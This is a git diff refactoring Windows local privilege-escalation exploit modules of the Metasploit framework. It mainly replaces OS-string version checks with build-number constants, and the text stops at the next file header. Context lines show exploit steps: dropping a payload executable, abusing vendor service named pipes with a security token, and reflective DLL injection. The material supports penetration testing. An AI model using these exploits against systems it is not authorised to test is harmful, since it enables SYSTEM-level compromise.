c798c1c1227dd..7aa1163c55b8a 100644 --- a/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb +++ b/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb @@ -63,9 +63,7 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb b/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb index 339357341115c..629d097e29fdd 100644 --- a/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb +++ b/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb @@ -284,10 +284,9 @@ def validate_target fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363) + version_info = get_version_info + vprint_status("Version: #{version_info.number}") + unless version_info.build_version.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1909) fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363') end end diff --git a/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb b/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb index 6e7c162fbe161..e7d59244847c8 100644 --- a/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb +++ b/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb @@ -89,7 +89,6 @@ def target_not_presently_supported def check sysinfo_value = sysinfo['OS'] - if sysinfo_value !~ /windows/i # Non-Windows systems are definitely not affected. return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') @@ -106,7 +105,8 @@ def check end # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1903)/ + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1909) return CheckCode::Safe('Target is not running a vulnerable version of Windows!') end @@ -151,7 +151,7 @@ def check def check_target_is_running_supported_windows_version if sysinfo['OS'].match('Windows').nil? fail_with(Failure::NotVulnerable, 'Target is not running Windows!') - elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil? + elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...') end end diff --git a/modules/exploits/windows/local/cve_2020_0796_smbghost.rb b/modules/exploits/windows/local/cve_2020_0796_smbghost.rb index 6ce7d36d9a034..3adac2e569295 100644 --- a/modules/exploits/windows/local/cve_2020_0796_smbghost.rb +++ b/modules/exploits/windows/local/cve_2020_0796_smbghost.rb @@ -62,17 +62,15 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Windows Build Number = #{build_num}") + version = get_version_info + vprint_status("Windows Build Number = #{version.build_number}") # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /10/ && (build_num >= 18362 && build_num <= 18363) + unless version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_1909) print_error('The exploit only supports Windows 10 versions 1903 - 1909') return CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb b/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb index 329265d26f641..b8d8505b84aa9 100644 --- a/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb +++ b/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb @@ -44,7 +44,11 @@ def initialize(info = {}) 'DefaultOptions' => { 'DisablePayloadHandler' => true }, - 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] + }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ @@ -169,10 +173,10 @@ def validate_payload end def check - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363 + version = get_version_info + + vprint_status("OS version: #{version}") + return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909) return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb b/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb index ca1decb08d50e..fda8c28cf2358 100644 --- a/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb +++ b/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb @@ -71,8 +71,7 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb b/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb index 6ebc45dcc629f..555c39af270c3 100644 --- a/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb +++ b/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb @@ -150,10 +150,9 @@ def validate_target end def check - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - if sysinfo_value =~ /10/ && (build_num > 17763) && (build_num <= 19041) + version = get_version_info + vprint_status("OS version: #{version}") + if version.build_number.between?(Msf::WindowsVersion::Win10_1903, Msf::WindowsVersion::Win10_2004) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb b/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb index d2ffb78301464..e75c47ee3d5f7 100644 --- a/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb +++ b/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb @@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv + include Msf::Post::Windows::Version include Msf::Exploit::EXE include Msf::Post::Windows::Powershell @@ -174,10 +175,9 @@ def validate_payload end def check - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363 + version = get_version_info + vprint_status("OS version: #{version}") + return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909) return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/cve_2020_17136.rb b/modules/exploits/windows/local/cve_2020_17136.rb index 2a29ed067e2f4..87bdf764a8712 100644 --- a/modules/exploits/windows/local/cve_2020_17136.rb +++ b/modules/exploits/windows/local/cve_2020_17136.rb @@ -112,8 +112,7 @@ def check_requirements(clr_req, installed_dotnet_versions) end def check - sysinfo_value = sysinfo['OS'] - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') end diff --git a/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb b/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb index d365c2bd58c47..b892834af0661 100644 --- a/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb +++ b/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb @@ -50,7 +50,8 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_OS_RESTARTS, ], - 'Reliability' => [ REPEATABLE_SESSION, ] + 'Reliability' => [ REPEATABLE_SESSION, ], + 'SideEffects' => [ IOC_IN_LOGS ] }, 'Compat' => { 'Meterpreter' => { @@ -65,9 +66,7 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end @@ -82,15 +81,12 @@ def check end def target_compatible? - sysinfo_value = sysinfo['OS'] - - build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i - vprint_status("Windows Build Number = #{build_num}") + version = get_version_info - return true if sysinfo_value =~ /Windows 7/ && ((build_num == 7600) || (build_num == 7601)) - return true if sysinfo_value =~ /Windows 8\.1/ && (build_num == 9600) - return true if sysinfo_value =~ /Windows 10/ && (build_num >= 14393 && build_num <= 19043) - return true if sysinfo_value =~ /Windows 2016/ && (build_num >= 14393 && build_num <= 19043) + vprint_status("OS version: #{version}") + return true if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation? + return true if version.build_number == Msf::WindowsVersion::Win81 && version.workstation? + return true if version.build_number.between?(Msf::WindowsVersion::Win10_1607, Msf::WindowsVersion::Win10_21H1) false end diff --git a/modules/exploits/windows/local/cve_2021_40449.rb b/modules/exploits/windows/local/cve_2021_40449.rb index b8d96e48f49f3..8c995fe689aed 100644 --- a/modules/exploits/windows/local/cve_2021_40449.rb +++ b/modules/exploits/windows/local/cve_2021_40449.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv + include Msf::Post::Windows::Version include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck @@ -73,13 +74,18 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') end + version_info = get_version_info + unless version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_21H1) || + version_info.build_number == Msf::WindowsVersion::Server2022 || + version_info.build_number == Msf::WindowsVersion::Win11_21H1 + return CheckCode::Safe('Target is not running a vulnerable version of Windows!') + end + build_num_raw = cmd_exec('cmd.exe /c ver') build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/) if build_num.nil? @@ -89,11 +95,6 @@ def check print_status("Target's build number: #{build_num}") end - # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1809|1903)/ - return CheckCode::Safe('Target is not running a vulnerable version of Windows!') - end - build_num_gemversion = Rex::Version.new(build_num) # Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/ diff --git a/modules/exploits/windows/local/cve_2022_21882_win32k.rb b/modules/exploits/windows/local/cve_2022_21882_win32k.rb index d907a837b8d4f..1d29b0982805a 100644 --- a/modules/exploits/windows/local/cve_2022_21882_win32k.rb +++ b/modules/exploits/windows/local/cve_2022_21882_win32k.rb @@ -89,22 +89,21 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Windows Build Number = #{build_num}") - - unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044) - print_error('The exploit only supports Windows 10 versions 1803 - 21H2') + version = get_version_info + vprint_status("Windows Build Number = #{version.product_name}") + if version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_21H2) + CheckCode::Appears + elsif version.build_number == Msf::WindowsVersion::Server2022 || version.build_number == Msf::WindowsVersion::Win11_21H2 + CheckCode::Detected("May be vulnerable, but exploit not tested on #{version.product_name}") + else + print_error('Vulnerability only present on Windows 10 versions 1803 - 21H2, Windows 11 21H2, Server 2019 and Server 2022') return CheckCode::Safe end - - CheckCode::Appears end def exploit diff --git a/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb b/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb index d8f2997d5de4c..535d28d2444ae 100644 --- a/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb +++ b/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb @@ -90,19 +90,18 @@ def initialize(info = {}) end def check - s_info = sysinfo['OS'] - unless s_info =~ /windows/i + unless session.platform == 'windows' return CheckCode::Safe('This module only supports Windows targets.') end - _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll') + version = get_version_info - case s_info - when /windows 7/i + if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) return CheckCode::Safe('Windows 7 is technically vulnerable, though it requires a reboot.') - when /windows 10/i, /windows 2019\+/i, /windows 2016\+/i # 2019 gets reported as 2016 by meterpreter - return CheckCode::Appears if build <= 18362 - return CheckCode::Appears if revision < 1526 + elsif version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_21H2) || + version.build_number == Msf::WindowsVersion::Server2022 || + version.build_number == Msf::WindowsVersion::Win11_21H2 + return CheckCode::Appears end CheckCode::Safe @@ -129,9 +128,8 @@ def get_printer_name end def target_is_server? - s_info = sysinfo['OS'] - - s_info =~ /server/i || s_info =~ /\d{4}\+/ + version = get_version_info + version.windows_server? end # Windows usually has Print to PDF or XPS Document Writer diff --git a/modules/exploits/windows/local/cve_2022_26904_superprofile.rb b/modules/exploits/windows/local/cve_2022_26904_superprofile.rb index 718fc234a707c..2198c301b67e2 100644 --- a/modules/exploits/windows/local/cve_2022_26904_superprofile.rb +++ b/modules/exploits/windows/local/cve_2022_26904_superprofile.rb @@ -91,7 +91,10 @@ def check end # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /(7|8|8\.1|10|11|2008|2012|2016|2019|2022|1803|1903|1909|2004)/ + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_21H2) || + version.build_number == Msf::WindowsVersion::Win11_21H2 || + version.build_number == Msf::WindowsVersion::Server2022 return CheckCode::Safe('Target is not running a vulnerable version of Windows!') end @@ -129,7 +132,7 @@ def check if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) # Windows 11 return CheckCode::Appears('Vulnerable Windows 11 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) # Windows Server 2022 - return CheckCode::Appears('Vulnerable Windows 11 build detected!') + return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) # Windows 10 21H2 return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) # Windows 10 21H1 @@ -196,8 +199,8 @@ def target_not_presently_supported def check_target_is_running_supported_windows_version if !sysinfo['OS'].include?('Windows') fail_with(Failure::NotVulnerable, 'Target is not running Windows!') - elsif !sysinfo['OS'].include?('Windows 10') && !sysinfo['OS'].include?('Windows 11') && !sysinfo['OS'].include?('Windows Server 2022') - fail_with(Failure::NoTarget, 'Target is running Windows, its not a version this module supports! Bailing...') + elsif get_version_info.build_number < Msf::WindowsVersion::Win10_InitialRelease + fail_with(Failure::NoTarget, 'Target is running Windows, but not a version this module supports! Bailing...') end end diff --git a/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb b/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb index f227f1a82bf67..52926bfe486d2 100644 --- a/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb +++ b/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb @@ -85,7 +85,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/ + version = get_version_info + if version.windows_server? vprint_good('OS seems vulnerable.') else vprint_error('OS is not vulnerable!') diff --git a/modules/exploits/windows/local/ipass_launch_app.rb b/modules/exploits/windows/local/ipass_launch_app.rb index 156b040a89b8b..08de17bcef7b9 100644 --- a/modules/exploits/windows/local/ipass_launch_app.rb +++ b/modules/exploits/windows/local/ipass_launch_app.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows', {} ] @@ -64,9 +64,7 @@ def initialize(info = {}) end def check - os = sysinfo['OS'] - - unless os =~ /windows/i + unless session.platform == 'windows' return Exploit::CheckCode::Safe end @@ -122,7 +120,7 @@ def write_named_pipe(handle, command) def is_running? begin status = service_status('iPlatformService') - rescue RuntimeError => e + rescue RuntimeError print_error('Unable to retrieve service status') return false end @@ -135,15 +133,15 @@ def exploit fail_with(Failure::NoTarget, 'Session is already elevated') end - handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE") + handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE') if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found") + fail_with(Failure::NoTarget, '\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found') else - print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...") + print_status('Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...') end - if datastore['WritableDir'] and not datastore['WritableDir'].empty? + if datastore['WritableDir'] && !datastore['WritableDir'].empty? temp_dir = datastore['WritableDir'] else temp_dir = client.sys.config.getenv('TEMP') @@ -160,7 +158,7 @@ def exploit print_status('Writing malicious exe to remote filesystem') write_path = pwd - exe_name = "#{rand_text_alpha(10 + rand(10))}.exe" + exe_name = "#{rand_text_alpha(rand(10..19))}.exe" begin write_file(exe_name, generate_payload_exe) diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb index ce40197007e66..f06b827a5bfdc 100644 --- a/modules/exploits/windows/local/lenovo_systemupdate.rb +++ b/modules/exploits/windows/local/lenovo_systemupdate.rb @@ -36,7 +36,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows', {} ] @@ -70,9 +70,7 @@ def initialize(info = {}) end def check - os = sysinfo['OS'] - - unless os =~ /windows/i + unless session.platform == 'windows' return Exploit::CheckCode::Safe end @@ -146,7 +144,7 @@ def exploit print_status('Giving the service some time to start...') Rex.sleep(datastore['Sleep']) - print_status("Getting security token...") + print_status('Getting security token...') token = get_security_token(su_directory) vprint_good("Security token is: #{token}") @@ -166,7 +164,7 @@ def exploit print_status('Writing malicious exe to remote filesystem') write_path = pwd - exe_name = "#{rand_text_alpha(10 + rand(10))}.exe" + exe_name = "#{rand_text_alpha(rand(10..19))}.exe" begin write_file(exe_name, generate_payload_exe) @@ -178,7 +176,7 @@ def exploit print_status('Sending Execute command to update service') begin - write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}") + write_res = write_named_pipe('\\\\.\\pipe\\SUPipeServer', "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}") rescue Rex::Post::Meterpreter::RequestError fail_with(Failure::Unknown, 'Failed to write to pipe') end diff --git a/modules/exploits/windows/local/mov_ss.rb b/modules/exploits/windows/local/mov_ss.rb index 86436d0799d73..6cbdfba47eef4 100644 --- a/modules/exploits/windows/local/mov_ss.rb +++ b/modules/exploits/windows/local/mov_ss.rb @@ -77,8 +77,8 @@ def initialize(info = {}) def setup super - @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) - @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @@ -88,12 +88,10 @@ def setup end def validate_active_host - begin - print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") - rescue Rex::Post::Meterpreter::RequestError => e - elog(e) - raise Msf::Exploit::Failed, 'Could not connect to session' - end + print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + rescue Rex::Post::Meterpreter::RequestError => e + elog(e) + raise Msf::Exploit::Failed, 'Could not connect to session' end def validate_remote_path(path) @@ -106,7 +104,8 @@ def validate_target if sysinfo['Architecture'] != ARCH_X64 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end - if sysinfo['OS'] =~ /XP/ + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP3) fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end @@ -151,56 +150,45 @@ def execute_exploit end def exploit_dll - begin - print_status('Checking target...') - validate_active_host - validate_target - print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!') - encoded_payload = payload.encoded - execute_dll( - ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'), - encoded_payload - ) - print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') - rescue Rex::Post::Meterpreter::RequestError => e - elog(e) - print_error(e.message) - end + print_status('Checking target...') + validate_active_host + validate_target + print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!') + encoded_payload = payload.encoded + execute_dll( + ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'), + encoded_payload + ) + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + rescue Rex::Post::Meterpreter::RequestError => e + elog(e) + print_error(e.message) end def exploit_exe - begin - validate_remote_path(temp_path) - ensure_clean_exploit_destination - ensure_clean_payload_destination - upload_exploit - upload_payload - execute_exploit - print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') - rescue Rex::Post::Meterpreter::RequestError => e - elog(e) - print_error(e.message) - ensure_clean_exploit_destination - ensure_clean_payload_destination - end + validate_remote_path(temp_path) + ensure_clean_exploit_destination + ensure_clean_payload_destination + upload_exploit + upload_payload + execute_exploit + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + rescue Rex::Post::Meterpreter::RequestError => e + elog(e) + print_error(e.message) + ensure_clean_exploit_destination + ensure_clean_payload_destination end def exploit - begin - validate_active_host - validate_target - if datastore['USE_INJECTION'] - exploit_dll - else - exploit_exe - end + validate_active_host + validate_target + if datastore['USE_INJECTION'] + exploit_dll + else + exploit_exe end end - attr_reader :exploit_name - attr_reader :payload_name - attr_reader :payload_exe - attr_reader :temp_path - attr_reader :payload_path - attr_reader :exploit_path + attr_reader :exploit_name, :payload_name, :payload_exe, :temp_path, :payload_path, :exploit_path end diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb index da15d0ba3b9a8..f948dc532b770 100644 --- a/modules/exploits/windows/local/mqac_write.rb +++ b/modules/exploits/windows/local/mqac_write.rb @@ -53,7 +53,7 @@ def initialize(info = {}) 'DisclosureDate' => '2014-07-22', 'DefaultTarget' => 0, 'Notes' => { - 'Stability' => [ CRASH_OS_RESTARTS, ], + 'Stability' => [ CRASH_OS_RESTARTS, ] }, 'Compat' => { 'Meterpreter' => { @@ -97,11 +97,10 @@ def check end session.railgun.kernel32.CloseHandle(handle) - os = sysinfo['OS'] - case os - when /windows xp.*service pack 3/i + version = get_version_info + if version.build_number == Msf::WindowsVersion::XP_SP3 return Exploit::CheckCode::Appears - when /windows xp/i + elsif version.xp_or_2003? && !version.windows_server? vprint_error('Unsupported version of Windows XP detected') return Exploit::CheckCode::Detected else @@ -122,7 +121,7 @@ def exploit # Running on Windows XP versions that aren't listed in the supported list # results in a BSOD and so we should not let that happen. if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system') end base_addr = 0xffff diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb index d603a05f3712b..5709c200f7880 100644 --- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb +++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb @@ -11,49 +11,51 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows SYSTEM Escalation via KiTrap0D', - 'Description' => %q{ - This module will create a new session with SYSTEM privileges via the - KiTrap0D exploit by Tavis Ormandy. If the session in use is already - elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, - and is not supported on x64 editions of Windows. - }, - 'License' => MSF_LICENSE, - 'Author' => [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows SYSTEM Escalation via KiTrap0D', + 'Description' => %q{ + This module will create a new session with SYSTEM privileges via the + KiTrap0D exploit by Tavis Ormandy. If the session in use is already + elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, + and is not supported on x64 editions of Windows. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Tavis Ormandy', # Original resesarcher and exploit creator 'HD Moore', # Port of Tavis' code to meterpreter module 'Pusscat', # Port of Tavis' code to meterpreter module 'OJ Reeves' # Port of meterpreter code to a windows local exploit ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ - [ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] - ], - 'DefaultTarget' => 0, - 'References' => [ - [ 'CVE', '2010-0232' ], - [ 'OSVDB', '61854' ], - [ 'MSB', 'MS10-015' ], - [ 'EDB', '11199' ], - [ 'URL', 'https://seclists.org/fulldisclosure/2010/Jan/341' ] - ], - 'DisclosureDate'=> '2010-01-19' - )) - + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + [ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] + ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'CVE', '2010-0232' ], + [ 'OSVDB', '61854' ], + [ 'MSB', 'MS10-015' ], + [ 'EDB', '11199' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2010/Jan/341' ] + ], + 'DisclosureDate' => '2010-01-19' + ) + ) end def check # Validate platform architecture - if sysinfo["Architecture"] == ARCH_X64 + if sysinfo['Architecture'] == ARCH_X64 return Exploit::CheckCode::Safe end # Validate OS version - winver = sysinfo["OS"] - unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows .NET Server|Windows 2008|Windows 7/ + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP1) return Exploit::CheckCode::Safe end @@ -66,17 +68,16 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - print_status("Reflectively injecting payload and triggering the bug...") + print_status('Reflectively injecting payload and triggering the bug...') encoded_payload = payload.encoded execute_dll( - ::File.join(Msf::Config.data_directory, "exploits", "CVE-2010-0232", "kitrap0d.x86.dll"), + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-0232', 'kitrap0d.x86.dll'), encoded_payload ) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end - diff --git a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb index 31c9fffff566f..9e7117267b6a0 100644 --- a/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb +++ b/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb @@ -127,12 +127,9 @@ def exploit mytarget = target if mytarget.name =~ /Automatic/ - os = sysinfo['OS'] - mytarget = targets[1] if os =~ /windows xp/i - mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i) - if (os =~ /\.net server/i) && (os =~ /service pack 2/i) - mytarget = targets[2] - end + version = get_version_info + mytarget = targets[1] if version.build_number.between?(Msf::WindowsVersion::XP_SP2, Msf::WindowsVersion::XP_SP3) + mytarget = targets[2] if version.build_number == Msf::WindowsVersion::Server2003_SP2 if mytarget.name =~ /Automatic/ print_error('Could not identify the target system, it may not be supported') @@ -142,7 +139,7 @@ def exploit end if is_system? - print_error('This meterpreter session is already running as SYSTE') + print_error('This meterpreter session is already running as SYSTEM') return end diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb 